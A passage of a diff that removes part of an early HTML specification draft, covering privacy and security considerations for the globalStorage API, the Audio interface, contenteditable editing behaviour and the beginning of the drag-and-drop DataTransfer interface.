-     session-only storage, deleting the data once the user had closed all the
-     <span>browsing contexts</span> that could access it.</p>
-
-    <p>This can restrict the ability of a site to track a user, as the site
-     would then only be able to track the user across multiple sessions when
-     he authenticates with the site itself (e.g. by making a purchase or
-     logging in to a service).</p>
-    <!-- XXX should there be an explicit way for sites to state when
-    data should expire? as in
-    globalStorage['example.com'].expireData(365); ? -->
-    
-
-   <li>
-    <p>Blocking access to the top-level domain ("<a href="#public0"
-     title="public storage area">public</a>") storage areas: user agents may
-     prevent domains from storing data in and reading data from the top-level
-     domain entries in the <code title=dom-globalStorage><a
-     href="#globalstorage">globalStorage</a></code> object.</p>
-
-    <p>In practice this requires a detailed list of all the "public"
-     second-level (and third-level) domains. For example, content at the
-     domain <code>www.example.com</code> would be allowed to access
-     <code>example.com</code> data but not <code>com</code> data; content at
-     the domain <code>example.co.uk</code> would be allowed access to
-     <code>example.co.uk</code> but not <code>co.uk</code> or
-     <code>uk</code>; and content at <code>example.chiyoda.tokyo.jp</code>
-     would be allowed access to <code>example.chiyoda.tokyo.jp</code> but not
-     <code>chiyoda.tokyo.jp</code>, <code>tokyo.jp</code>, or
-     <code>jp</code>, while content at <code>example.metro.tokyo.jp</code>
-     would be allowed access to both <code>example.metro.tokyo.jp</code> and
-     <code>metro.tokyo.jp</code> but not <code>tokyo.jp</code> or
-     <code>jp</code>. The problem is even more convoluted when one considers
-     private domains with third-party subdomains such as
-     <code>dyndns.org</code> or <code>uk.com</code>.</p>
-
-    <p>Blocking access to the "<a href="#public0" title="public storage
-     area">public</a>" storage areas can also prevent innocent sites from
-     cooperating to provide services beneficial to the user.</p>
-
-   <li>
-    <p>Treating persistent storage as cookies: user agents may present the
-     persistent storage feature to the user in a way that does not
-     distinguish it from HTTP session cookies. <a
-     href="#refsRFC2965">[RFC2965]</a></p>
-
-    <p>This might encourage users to view persistent storage with healthy
-     suspicion.</p>
-
-   <li>
-    <p>Site-specific white-listing of access to "<a href="#public0"
-     title="public storage area">public</a>" storage area: user agents may
-     allow sites to access persistent storage for their own domain and
-     subdomains in an unrestricted manner, but require the user to authorise
-     access to the storage area of higher-level domains.</p>
-
-    <p>For example, code at <code>example.com</code> would be always allowed
-     to read and write data for <code>www.example.com</code> and
-     <code>example.com</code>, but if it tried to access <code>com</code>,
-     the user agent could display a non-modal message informing the user that
-     the page requested access to <code>com</code> and offering to allow it.</p>
-
-   <li>
-    <p>Origin-tracking of persistent storage data: user agents may record the
-     domain of the script that caused data to be stored.</p>
-
-    <p>If this information is then used to present the view of data currently
-     in persistent storage, it would allow the user to make informed
-     decisions about which parts of the persistent storage to prune. Combined
-     with a blacklist ("delete this data and prevent this domain from ever
-     storing data again"), the user can restrict the use of persistent
-     storage to sites that he trusts.</p>
-
-   <li>
-    <p>Shared blacklists: user agents may allow users to share their
-     persistent storage domain blacklists.</p>
-
-    <p>This would allow communities to act together to protect their privacy.</p>
-  </ul>
-
-  <p>While these suggestions prevent trivial use of this API for user
-   tracking, they do not block it altogether. Within a single domain, a site
-   can continue to track the user across multiple sessions, and can then pass
-   all this information to the third party along with any identifying
-   information (names, credit card numbers, addresses) obtained by the site.
-   If a third party cooperates with multiple sites to obtain such
-   information, a profile can still be created.
-
-  <p>However, user tracking is to some extent possible even with no
-   cooperation from the user agent whatsoever, for instance by using session
-   identifiers in URIs, a technique already commonly used for innocuous
-   purposes but easily repurposed for user tracking (even retroactively).
-   This information can then be shared with other sites, using using
-   visitors' IP addresses and other user-specific data (e.g. user-agent
-   headers and configuration settings) to combine separate sessions into
-   coherent user profiles.
-
-  <h5 id=cookie><span class=secno>5.4.8.2. </span>Cookie resurrection</h5>
-
-  <p>If the user interface for persistent storage presents data in the
-   persistent storage feature separately from data in HTTP session cookies,
-   then users are likely to delete data in one and not the other. This would
-   allow sites to use the two features as redundant backup for each other,
-   defeating a user's attempts to protect his privacy.
-
-  <h5 id=integrity><span class=secno>5.4.8.3. </span>Integrity of "public"
-   storage areas</h5>
-
-  <p>Since the "<a href="#public0" title="public storage area">public</a>"
-   global storage areas are accessible by content from many different
-   parties, it is possible for third-party sites to delete or change
-   information stored in those areas in ways that the originating sites may
-   not expect.
-
-  <p>Authors must not use the "<a href="#public0" title="public storage
-   area">public</a>" global storage areas for storing sensitive data. Authors
-   must not trust information stored in "<a href="#public0" title="public
-   storage area">public</a>" global storage areas.
-
-  <h5 id=cross-protocol><span class=secno>5.4.8.4. </span>Cross-protocol and
-   cross-port attacks</h5>
-
-  <p>This API makes no distinction between content served over HTTP, FTP, or
-   other host-based protocols, and does not distinguish between content
-   served from different ports at the same host.
-
-  <p>Thus, for example, data stored in the global persistent storage for
-   domain "www.example.com" by a page served from HTTP port 80 will be
-   available to a page served in <code>http://example.com:18080/</code>, even
-   if the latter is an experimental server under the control of a different
-   user.
-
-  <p>Since the data is not sent over the wire by the user agent, this is not
-   a security risk in its own right. However, authors must take proper steps
-   to ensure that all hosts that have fully qualified host names that are
-   subsets of hosts dealing with sensitive information are as secure as the
-   originating hosts themselves.
-
-  <p>Similarly, authors must ensure that all Web servers on a host,
-   regardless of the port, are equally trusted if any of them are to use
-   persistent storage. For instance, if a Web server runs a production
-   service that makes use of the persistent storage feature, then other users
-   that have access to that machine and that can run a Web server on another
-   port will be able to access the persistent storage added by the production
-   service (assuming they can trick a user into visiting their page).
-
-  <p>However, if one is able to trick users into visiting a Web server with
-   the same host name but on a different port as a production service used by
-   these users, then one could just as easily fake the look of the site and
-   thus trick users into authenticating with the fake site directly,
-   forwarding the request to the real site and stealing the credentials in
-   the process. Thus, the persistent storage feature is considered to only
-   minimally increase the risk involved.
-
-  <h5 id=dns-spoofing><span class=secno>5.4.8.5. </span>DNS spoofing attacks</h5>
-
-  <p>Because of the potential for DNS spoofing attacks, one cannot guarentee
-   that a host claiming to be in a certain domain really is from that domain.
-   The <code title=dom-StorageItem-secure><a href="#secure">secure</a></code>
-   attribute is provided to mark certain key/value pairs as only being
-   accessible to pages that have been authenticated using secure certificates
-   (or similar mechanisms).
-
-  <p>Authors must ensure that they do not mark sensitive items as "safe for
-   both secure and insecure content". (To prevent the risk of a race
-   condition, data stored by scripts in secure contexts default to being
-   marked as "safe only for secure content".)
-
-  <h5 id=cross-directory><span class=secno>5.4.8.6. </span>Cross-directory
-   attacks</h5>
-
-  <p>Different authors sharing one host name, for example users hosting
-   content on <code>geocities.com</code>, all share one persistent storage
-   object. There is no feature to restrict the access by pathname. Authors on
-   shared hosts are therefore recommended to avoid using the persistent
-   storage feature, as it would be trivial for other authors to read from and
-   write to the same storage area.
-
-  <p class=note>Even if a path-restriction feature was made available, the
-   usual DOM scripting security model would make it trivial to bypass this
-   protection and access the data from any path.
-
-  <h5 id=public><span class=secno>5.4.8.7. </span>Public storage areas
-   corresponding to hosts</h5>
-
-  <p>If a "<a href="#public0" title="public storage area">public</a>" global
-   storage area corresponds to a host, as it typically does if for private
-   domains with third-party subdomains such as dyndns.org or uk.com, the host
-   corresponding to the "public" domain has access to all the storage areas
-   of its third-party subdomains. In general, authors are discouraged from
-   using the <code title=dom-globalStorage><a
-   href="#globalstorage">globalStorage</a></code> API for sensitive data
-   unless the operators of all the domains involved are trusted.
-
-  <p>User agents may mitigate this problem by preventing hosts corresponding
-   to "<a href="#public0" title="public storage area">public</a>" global
-   storage areas from accessing any storage areas other than their own.
-
-  <h5 id=storage0><span class=secno>5.4.8.8. </span>Storage areas in the face
-   of untrusted higher-level domains that do not correspond to public storage
-   areas</h5>
-
-  <p>Authors should not store sensitive data using the global storage APIs if
-   there are hosts with fully-qualified domain names that are subsets of
-   their own which they do not trust. For example, an author at
-   <code>finance.members.example.net</code> should not store sensitive
-   financial user data in the <code>finance.members.example.net</code>
-   storage area if he does not trust the host that runs
-   <code>example.net</code>.
-
-  <h5 id=storage1><span class=secno>5.4.8.9. </span>Storage areas in the face
-   of untrusted subdomains</h5>
-
-  <p>If an author publishing content on one host, e.g.
-   <code>example.com</code>, wishes to use the <code
-   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>
-   API but does not wish any content on the host's subdomains to access the
-   data, the author should use an otherwise non-existent subdomain name,
-   e.g., <code>private.example.com</code>, to store the data. This will be
-   accessible only to that host (and its parent domains), and not to any of
-   the real subdomains (e.g. <code>upload.example.com</code>).
-
-  <h5 id=implementation><span class=secno>5.4.8.10. </span>Implementation
-   risks</h5>
-
-  <p>The two primary risks when implementing this persistent storage feature
-   are letting hostile sites read information from other domains, and letting
-   hostile sites write information that is then read from other domains.
-
-  <p>Letting third-party sites read data that is not supposed to be read from
-   their domain causes <em>information leakage</em>, For example, a user's
-   shopping wishlist on one domain could be used by another domain for
-   targetted advertising; or a user's work-in-progress confidential documents
-   stored by a word-processing site could be examined by the site of a
-   competing company.
-
-  <p>Letting third-party sites write data to the storage areas of other
-   domains can result in <em>information spoofing</em>, which is equally
-   dangerous. For example, a hostile site could add items to a user's
-   wishlist; or a hostile site could set a user's session identifier to a
-   known ID that the hostile site can then use to track the user's actions on
-   the victim site.
-
-  <p>A risk is also presented by servers on local domains having host names
-   matching top-level domain names, for instance having a host called "com"
-   or "net". Such hosts might, if implementations fail to correctly implement
-   the <code>.localdomain</code> suffixing, <!-- XXX cross ref --> have full
-   access to all the data stored in a UA's persistent storage for that top
-   level domain.
-
-  <p>Thus, strictly following the model described in this specification is
-   important for user security.
-
-  <p>In addition, a number of optional restrictions related to the "<a
-   href="#public0" title="public storage area">public</a>" global storage
-   areas are suggested in the previous sections. The design of this API is
-   intended to be such that not supporting these restrictions, or supporting
-   them less than perfectly, does not result in critical security problems.
-   However, implementations are still encouraged to create and maintain a
-   list of "<a href="#public0" title="public storage area">public</a>"
-   domains, and apply the restrictions described above.
-
-  <h3 id=sound><span class=secno>5.5. </span>Sound</h3>
-
-  <p>The <code><a href="#audio0">Audio</a></code> interface allows scripts to
-   play sound clips. This interface is intended for sound effects, not for
-   streaming audio or multimedia; for the latter, the <code><a
-   href="#object0">object</a></code> element is more appropriate. <span
-   class=issue>We need to add an API for object to support pausing, etc, of
-   streaming APIs.</span>
-
-  <p>There is no markup element that corresponds to <code><a
-   href="#audio0">Audio</a></code> objects, they are only accessible from
-   script.
-
-  <p>User agents should allow users to dynamically enable and disable sound
-   output, but doing so must not affect how <code><a
-   href="#audio0">Audio</a></code> objects act in any way other than whether
-   sounds are physically played back or not. For instance, sound files must
-   still be downloaded, <code>load</code> and <code>error</code> events must
-   still fire, and if two identical clips are started with a two second
-   interval then when the sound is reenabled they must still be two seconds
-   out of sync.
-
-  <p>When multiple sounds are played simultaneously, the user agent must mix
-   the sounds together.
-
-  <pre class=idl>interface <dfn id=audio0>Audio</dfn> {<!-- XXX xrefs -->
-           attribute EventListener onload;
-           attribute EventListener onerror;
-  void play();
-  void loop();
-  void loop(in unsigned long playCount);
-  void stop();
-};</pre>
-
-  <p><code><a href="#audio0">Audio</a></code> objects must also implement the
-   <code>EventTarget</code> interface. <a
-   href="#refsDOM3EVENTS">[DOM3EVENTS]</a>
-   <!-- XXXXXXX haven't checked conf stats below here -->
-
-  <p>In ECMAScript, an instance of <code><a href="#audio0">Audio</a></code>
-   can be created using the <code>Audio(<var title="">uri</var>)</code>
-   constructor:
-
-  <pre class=example>var a = new Audio("test.wav");</pre>
-
-  <p>The <dfn id=audio1><code>Audio()</code> constructor</dfn> takes a single
-   argument, a URI (or IRI), which is resolved using the script context's
-   <code>window.location.href</code> value as the base, and which returns an
-   <code><a href="#audio0">Audio</a></code> object that will, at the
-   completion of the current script, start loading that URI.
-
-  <p>Once the URI is loaded, a <code>load</code> event must be fired on the
-   <code><a href="#audio0">Audio</a></code> object.
-
-  <p><code><a href="#audio0">Audio</a></code> objects have a current position
-   and a play count. Both are initially zero.
-
-  <p>The <code><a href="#audio0">Audio</a></code> interface has the following
-   members:</p>
-  <!-- XXX conf criteria -->
-
-  <dl>
-   <dt><dfn id=onload title=Audio.onload>onload</dfn>
-
-   <dd>An event listener that is invoked along with any other appropriate
-    event listeners that are registered on this object when a
-    <code>load</code> event is fired on it.
-
-   <dt><dfn id=play title=Audio.play>play()</dfn>
-
-   <dd>Begins playing the sound at the current position, setting the play
-    count to 1.
-
-   <dt><dfn id=loop title=Audio.loop>loop()</dfn>
-
-   <dd>Begins playing the sound at the current position, setting the play
-    count to infinity.
-
-   <dt><dfn id=loopplaycount title=Audio.loopN>loop(<var
-    title="">playCount</var>)</dfn>
-
-   <dd>Begins playing the sound at the current position, setting the play
-    count to <var title="">playCount</var>.
-
-   <dt><dfn id=stop title=Audio.stop>stop()</dfn>
-
-   <dd>Stops playing the clip and resets the current position and play count
-    to zero.
-  </dl>
-
-  <p>When playback of the sound reaches the end of the available data, its
-   current position is reset to the start of the clip, and the play count is
-   decreased by one (unless it is infinite). If the play count is greater
-   than zero, then the sound is played again.</p>
-  <!--
-   var sound = new Audio("URI relative to document URI");
-   sound.onload = function() { } // onload event handler
-   sound.play(); // play once
-   sound.loop(); // loop forever
-   sound.loop(2); // play twice
-   sound.stop(); // stop (if playing) and rewind
--->
-  <!--
-WANT
-   sound.volume = 1.0; // 0.0 to 1.0
-   sound.pause(); // stop at current position but don't rewind
-   onerror
-
-MAYBE WANT
-   sound.seek(l/2); // seek to position, in seconds
-   sound.pan = 0.0; // -1.0 (left) to 1.0 (right)
-   l = sound.length; // length of clip in seconds
-   onprogress
--->
-
-  <h2 id=editing><span class=secno>6. </span><dfn id=editing1>Editing</dfn></h2>
-
-  <p>This section describes various features that allow authors to enable
-   users to edit documents and parts of documents interactively.
-
-  <h3 id=editing-intro><span class=secno>6.1. </span>Introduction</h3>
-
-  <p><em>This section is non-normative.</em>
-
-  <p class=big-issue>Would be nice to explain how these features work
-   together.
-
-  <h3 id=contenteditable><span class=secno>6.2. </span>The <code
-   title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code> attribute</h3>
-
-  <p>The <dfn id=contenteditable0
-   title=attr-contenteditable><code>contenteditable</code></dfn> attribute is
-   a common attribute. User agents must support this attribute on all <a
-   href="#html-elements">HTML elements</a>.
-
-  <p class=big-issue>redefine this in terms of a microsyntax
-
-  <p>If an HTML element has a <code title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code> attribute set to the
-   empty string or the value <code>true</code> (by <span>case-insensitive
-   match</span><!--XXX xref-->), or if its nearest ancestor with the <code
-   title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code> attribute set has its
-   attribute set to the empty string or the value <code>true</code> (by
-   <span>case-insensitive match</span><!--XXX
-  xref-->), then the UA must
-   treat the element as <dfn id=editable0>editable</dfn> (as described
-   below).</p>
-  <!-- XXX case-sensitivity in HTML -->
-
-  <p>If an HTML element has a <code title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code> attribute set but the
-   value of the attribute is not the empty string or the literal value
-   <code>true</code>, or if its nearest ancestor with the <code
-   title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code> attribute set is not
-   <em><a href="#editable0">editable</a></em>, or if it has no ancestor with
-   the <code title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code> attribute set, then
-   the element is not editable.
-
-  <p>Authors must only use the exact literal values <code>true</code> and
-   <code>false</code> with the <code title=attr-contenteditable><a
-   href="#contenteditable0">contenteditable</a></code> attribute.
-
-  <p class=big-issue>The <dfn id=contenteditable1
-   title=dom-contentEditable><code>contentEditable</code></dfn> DOM
-   attribute...</p>
-  <!-- is a string that accepts "true", "false",
-  "inherit", case-insensitively, and sets the content attribute to
-  "true", "false", or removes it, respectively, and raises an
-  exception otherwise -->
-
-  <p>If an element is <a href="#editable0">editable</a> and its parent
-   element is not, then the element is an <dfn id=editing2>editing
-   host</dfn>. Editable elements can be nested. User agents must make editing
-   hosts focusable (which typicially means they enter the <span
-   title=tabindex>tab order</span>). An editing host can contain non-editable
-   sections, these are handled as described below. An editing host can
-   contain non-editable sections that contain further editing hosts.
-
-  <p>When an editing host has focus, it must have a <dfn id=caret>caret
-   position</dfn> that specifies where the current editing position is. It
-   may also have a <a href="#a-selection" title="the
-   selection">selection</a>.</p>
-  <!--- XXX xref to later section -->
-
-  <p class=note>How the caret and selection are represented depends entirely
-   on the UA.</p>
-  <!-- XXX rendering requirement: The current caret should affect the
-  line-height (i.e. it acts at least like an empty inline element) -->
-  <!-- XXX document.designMode attribute -->
-
-  <h4 id=user-editing><span class=secno>6.2.1. </span>User editing actions</h4>
-
-  <p>There are several actions that the user agent should allow the user to
-   perform while the user is interacting with an editing host. How exactly
-   each action is triggered is not defined for every action, but when it is
-   not defined, suggested key bindings are provided to guide implementors.
-
-  <dl>
-   <dt>Move the caret
-
-   <dd>
-    <p>User agents must allow users to move the caret to any position within
-     an editing host, even into nested editable elements. This could be
-     triggered as the default action of <code
-     title=event-keydown>keydown</code> events with various key identifiers
-     and as the default action of <code
-     title=event-mousedown>mouseydown</code> events.
-
-   <dt>Change the selection
-
-   <dd>
-    <p>User agents must allow users to change <a href="#a-selection">the
-     selection</a> within an editing host, even into nested editable
-     elements. This could be triggered as the default action of <code
-     title=event-keydown>keydown</code> events with various key identifiers
-     and as the default action of <code
-     title=event-mousedown>mouseydown</code> events.
-
-   <dt id=contenteditable-insertText>Insert text
-
-   <dd>
-    <p>This action must be triggered as the default action of a <code
-     title=event-textInput>textInput</code> event, and may be triggered by
-     other commands as well. It must cause the user agent to insert the
-     specified text (given by the event object's <code title="">data</code>
-     attribute in the case of the <code
-     title=event-textInput>textInput</code> event) at the caret.</p>
-
-    <p>If the caret is positioned somewhere where <a
-     href="#inline-level1">inline-level content</a> is not allowed (e.g.
-     because the element accepts "both block-level and inline-level content
-     but not both", and the element already contains block-level content),
-     then the user agent must not insert the text directly at the caret
-     position. In such cases the behaviour is UA-dependent, but user agents
-     must not, in response to a request to insert text, generate a DOM that
-     is less conformant than the DOM prior to the request.</p>
-
-    <p>User agents should allow users to insert new paragraphs into elements
-     that only contain block-level content.</p>
-
-    <div class=example>
-     <p>For example, given the markup:</p>
-
-     <pre>AMPERSANDlt;sectionAMPERSANDgt;
- AMPERSANDlt;dlAMPERSANDgt;
-  AMPERSANDlt;dtAMPERSANDgt; Ben AMPERSANDlt;/dtAMPERSANDgt;
-  AMPERSANDlt;ddAMPERSANDgt; Goat AMPERSANDlt;/ddAMPERSANDgt;
- AMPERSANDlt;/dlAMPERSANDgt;
-AMPERSANDlt;/sectionAMPERSANDgt;</pre>
-
-     <p>...the user agent should allow the user to insert <code><a
-      href="#p0">p</a></code> elements before and after the <code><a
-      href="#dl0">dl</a></code> element, as children of the <code><a
-      href="#section0">section</a></code> element.</p>
-    </div>
-
-   <dt id=contenteditable-breakBlock>Break block
-
-   <dd>
-    <p>UAs should offer a way for the user to request that the current block
-     be broken at the caret, e.g. as the default action of a <code
-     title=event-keydown>keydown</code> event whose identifier is the "Enter"
-     key and that has no modifiers set.</p>
-
-    <p>The exact behaviour is UA-dependent, but user agents must not, in
-     response to a request to break a block, generate a DOM that is less
-     conformant than the DOM prior to the request.
-
-   <dt id=contenteditable-br>Insert a line separator
-
-   <dd>
-    <p>UAs should offer a way for the user to request an explicit line break
-     at the caret position without breaking the block, for example as in a
-     poem verse or an address. To insert a line break, the user agent must
-     insert a <code><a href="#br0">br</a></code> element.</p>
-
-    <p>If the caret is positioned somewhere where <a
-     href="#inline-level1">inline-level content</a> is not allowed (e.g.
-     because the element accepts "both block-level and inline-level content
-     but not both", and the element already contains block-level content),
-     then the user agent must not insert the <code><a
-     href="#br0">br</a></code> element directly at the caret position. In
-     such cases the behaviour is UA-dependent, but user agents must not, in
-     response to a request to insert a line separator, generate a DOM that is
-     less conformant than the DOM prior to the request.
-
-   <dt id=contenteditable-delete>Delete
-
-   <dd>
-    <p>UAs should offer a way for the user to delete text and elements, e.g.
-     as the default action of <code title=event-keydown>keydown</code> events
-     whose identifiers are "U+0008" or "U+007F".</p>
-
-    <p>Five edge cases in particular need to be considered carefully when
-     implementing this feature: backspacing at the start of an element,
-     backspacing when the caret is immediately after an element,
-     forward-deleting at the end of an element, forward-deleting when the
-     caret is immediately before an element, and deleting a <a
-     href="#a-selection" title="the selection">selection</a> whose start and
-     end points do not share a common parent node.</p>
-
-    <p>In any case, the exact behaviour is UA-dependent, but user agents must
-     not, in response to a request to delete text or an element, generate a
-     DOM that is less conformant than the DOM prior to the request.
-
-   <dt id=contenteditable-wrapSemantic>Insert, and wrap text in, semantic
-    elements
-
-   <dd>
-    <p>UAs should offer a way for the user to mark text as having <a
-     href="#em0" title=em>stress emphasis</a> and as being <a href="#strong0"
-     title=strong>important</a>, and may offer the user the ability to mark
-     text and blocks with other semantics.</p>
-
-    <p>UAs should similarly offer a way for the user to insert empty semantic
-     elements (such as, again, <code><a href="#em0">em</a></code>, <code><a
-     href="#strong0">strong</a></code>, and others) to subsequently fill by
-     entering text manually.</p>
-
-    <p>UAs should also offer a way to remove those semantics from marked up
-     text, and to remove empty semantic element that have been inserted.</p>
-
-    <p>The exact behaviour is UA-dependent, but user agents must not, in
-     response to a request to wrap semantics around some text or to insert or
-     remove a semantic element, generate a DOM that is less conformant than
-     the DOM prior to the request.
-
-   <dt>Select and move non-editable elements nested inside editing hosts
-
-   <dd>
-    <p>UAs should offer a way for the user to move images and other
-     non-editable parts around the content within an editing host. This may
-     be done using the <a href="#drag-and0">drag and drop</a> mechanism. User
-     agents must not, in response to a request to move non-editable elements
-     nested inside editing hosts, generate a DOM that is less conformant than
-     the DOM prior to the request.
-
-   <dt>Edit form controls nested inside editing hosts
-
-   <dd>
-    <p>When an <a href="#editable0">editable</a> form control is edited, the
-     changes must be reflected in both its current value <em>and</em> its
-     default value. For <code>input</code> elements this means updating the
-     <code title=dom-input-defaultValue>defaultValue</code> DOM attribute as
-     well as the <code title=dom-input-value>value</code> DOM attribute; for
-     <code>select</code> elements it means updating the <code>option</code>
-     elements' <code title=dom-option-defaultSelected>defaultSelected</code>
-     DOM attribute as well as the <code
-     title=dom-option-selected>selected</code> DOM attribute; for
-     <code>textarea</code> elements this means updating the <code
-     title=dom-textarea-defaultValue>defaultValue</code> DOM attribute as
-     well as the <code title=dom-textarea-value>value</code> DOM attribute.
-     (Updating the <code title="">default*</code> DOM attributes causes
-     content attributs to be updated as well.)
-   </dd>
-   <!-- XXX something about not supporting resizing? -->
-  </dl>
-  <!-- XXX each action performed should be added to the undo history -->
-
-  <p>User agents may perform several commands per user request; for example
-   if the user selects a block of text and hits <kbd><kbd>Enter</kbd></kbd>,
-   the UA might interpret that as a request to delete the content of <a
-   href="#a-selection">the selection</a> followed by a request to break the
-   block at that position.
-
-  <h4 id=designMode><span class=secno>6.2.2. </span>Making entire documents
-   editable</h4>
-
-  <p class=big-issue>This section will define document.<dfn id=designmode
-   title=dom-document-designMode><code>designMode</code></dfn>.
-
-  <h3 id=dnd><span class=secno>6.3. </span><dfn id=drag-and0>Drag and
-   drop</dfn></h3>
-  <!--XXX
-
-http://msdn.microsoft.com/workshop/author/datatransfer/overview.asp
-http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/clipboarddata.asp
-
-> To implement this with simple interface I've proposed, events should be
-> handled either by existing elements (like list items that compare their size
-> and position of dragged element to decide whether element should be dropped
-> before or after) or handled by container that would probably need to calculate
-> positions of it's children and create new element to show drop target. Smooth
-> Mac-like drag'n'drop can be implemented by animating drop target's
-> padding/margin. So that's quite a bit of code that's going to be reinvented
-> each time someone implements reordering.
-
-<hyatt> :droptarget
-<hyatt> or something
-<hyatt> we don't support a pseudo-class for the drop target but that's a great idea
-<Hixie_> yeah, thinking about that too
-<Hixie_> :drop-target, :drop-target(above), :drop-target(below) and having ondragover be able to say "not on me, but next to me maybe"
-
-http://msdn.microsoft.com/workshop/author/dhtml/reference/events/ondragstart.asp
-http://msdn.microsoft.com/workshop/author/dhtml/reference/events/ondrag.asp
-http://msdn.microsoft.com/workshop/author/dhtml/reference/events/ondragend.asp
-http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/obj_datatransfer.asp
-http://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/DragAndDrop.html
--->
-
-  <p>This section defines an event-based drag-and-drop mechanism.
-
-  <p>This specification does not define exactly what a <em>drag and drop
-   operation</em> actually is.
-
-  <p>On a visual medium with a pointing device, a drag operation could be the
-   default action of a <code title=event-mousedown>mousedown</code> event
-   that is followed by a series of <code
-   title=event-mousemove>mousemove</code> events, and the drop could be
-   triggered by the mouse being released.
-
-  <p>On media without a pointing device, the user would probably have to
-   explicitly indicate his intention to perform a drag-and-drop operation,
-   stating what he wishes to drag and what he wishes to drop, respectively.
-
-  <p>However it is implemented, drag and drop operations must have a starting
-   point (e.g. where the mouse was clicked, or the start of <a
-   href="#a-selection">the selection</a> or element that was selected for the
-   drag), may have any number of intermediate steps (elements that the mouse
-   moves over during a drag, or elements that the user picks as possible drop
-   points as he cycles through possibilities), and must either have an end
-   point (the element above which the mouse button was released, or the
-   element that was finally selected), or be canceled. The end point must be
-   the last element selected as a possible drop point before the drop occurs
-   (so if the operation is not canceled, there must be at least one element
-   in the middle step).
-
-  <h4 id=the-dragevent><span class=secno>6.3.1. </span>The <code><a
-   href="#dragevent">DragEvent</a></code> and <code><a
-   href="#datatransfer0">DataTransfer</a></code> interfaces</h4>
-
-  <p>The drag-and-drop processing model involves several events. They all use
-   the <code><a href="#dragevent">DragEvent</a></code> interface.
-
-  <pre class=idl>interface <dfn id=dragevent>DragEvent</dfn> : Event {
-  readonly attribute <a href="#datatransfer0">DataTransfer</a> <a href="#datatransfer" title=dom-DragEvent-dataTransfer>dataTransfer</a>;
-  void <a href="#initdragevent" title=dom-DragEvent-initDragEvent>initDragEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg);
-  void <a href="#initdrageventns" title=dom-DragEvent-initDragEventNS>initDragEventNS</a>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg);
-};</pre>
-
-  <p>The <dfn id=initdragevent
-   title=dom-DragEvent-initDragEvent><code>initDragEvent()</code></dfn> and
-   <dfn id=initdrageventns
-   title=dom-DragEvent-initDragEventNS><code>initDragEventNS()</code></dfn>
-   methods must initialise the event in a manner analogous to the
-   similarly-named methods in the DOM3 Events interfaces. <a
-   href="#DOM3Events">[DOM3EVENTS]</a>
-
-  <p>The <dfn id=datatransfer
-   title=dom-DragEvent-dataTransfer><code>dataTransfer</code></dfn> attribute
-   of the <code><a href="#dragevent">DragEvent</a></code> interface
-   represents the context information for the event.
-
-  <p>When a <code><a href="#dragevent">DragEvent</a></code> object is
-   created, a new <code><a href="#datatransfer0">DataTransfer</a></code>
-   object must be created and assigned to the <code
-   title=dom-DragEvent-dataTransfer><a
-   href="#datatransfer">dataTransfer</a></code> context information field of
-   the event object.
-
-  <pre class=idl>interface <dfn id=datatransfer0>DataTransfer</dfn> {
-           attribute DOMString <a href="#dropeffect" title=dom-DataTransfer-dropEffect>dropEffect</a>;
-           attribute DOMString <a href="#effectallowed" title=dom-DataTransfer-effectAllowed>effectAllowed</a>;
-  void <a href="#cleardata" title=dom-DataTransfer-clearData>clearData</a>(in DOMString format);
-  void <a href="#setdata" title=dom-DataTransfer-setData>setData</a>(in DOMString format, in DOMString data);
-  DOMString <a href="#getdata" title=dom-DataTransfer-getData>getData</a>(in DOMString format);
-  void <a href="#setdragimage" title=dom-DataTransfer-setDragImage>setDragImage</a>(in Element image, in long x, in long y);
-  void <a href="#addelement" title=dom-DataTransfer-addElement>addElement</a>(in Element element);
-};
-</pre>
-
-  <p><code><a href="#datatransfer0">DataTransfer</a></code> objects can
-   conceptually contain various kinds of data.
-
-  <p>When a <code><a href="#dragevent">DragEvent</a></code> event object is
-   initialised, the <code><a href="#datatransfer0">DataTransfer</a></code>
-   object created for the event's <code title=dom-DragEvent-dataTransfer><a
-   href="#datatransfer">dataTransfer</a></code> member must be initialised as
-   follows:
-
-  <ul>
-   <li>The <code><a href="#datatransfer0">DataTransfer</a></code> object must
-    initially contain no data, no elements, and have no associated image.
-
-   <li>The <code><a href="#datatransfer0">DataTransfer</a></code> object's
-    <code title=dom-DataTransfer-effectAllowed><a
-    href="#effectallowed">effectAllowed</a></code> attribute must be set to
-    "<code title="">uninitialized</code>".
-
-   <li>The <code title=dom-DataTransfer-dropEffect><a
-    href="#dropeffect">dropEffect</a></code> attribute must be set to "<code
-    title="">none</code>".
-  </ul>
-
-  <p>The <dfn id=dropeffect
-   title=dom-DataTransfer-dropEffect><code>dropEffect</code></dfn> attribute
-   controls the drag and drop feedback that the user is given during a drag
-   and drop operation.
-
-  <p>The attribute must ignore any attempts to set it to a value other than
-   <code title="">none</code>, <code title="">copy</code>, <code
-   title="">link</code>, and <code title="">move</code>. On getting, the
-   attribute must return the last of those four values that it was set to.
-
-  <p>The <dfn id=effectallowed
-   title=dom-DataTransfer-effectAllowed><code>effectAllowed</code></dfn>
-   attribute is used in the drag and drop processing model to initialise the
-   <code title=dom-DataTransfer-dropEffect><a
-   href="#dropeffect">dropEffect</a></code> attribute during the <code
-   title=event-dragenter><a href="#dragenter">dragenter</a></code> and <code
-   title=event-dragover><a href="#dragover">dragover</a></code> events.
-
-  <p>The attribute must ignore any attempts to set it to a value other than
-   <code title="">none</code>, <code title="">copy</code>, <code
-   title="">copyLink</code>, <code title="">copyMove</code>, <code
-   title="">link</code>, <code title="">linkMove</code>, <code
-   title="">move</code>, <code title="">all</code>, and <code
-   title="">uninitialized</code>. On getting, the attribute must return the
-   last of those values that it was set to.
-
-  <p><code><a href="#datatransfer0">DataTransfer</a></code> objects can hold
-   pieces of data, each associated with a unique format. Formats are
-   generally given by MIME types, with some values special-cased for legacy
-   reasons.
-
-  <p>The <dfn id=cleardata
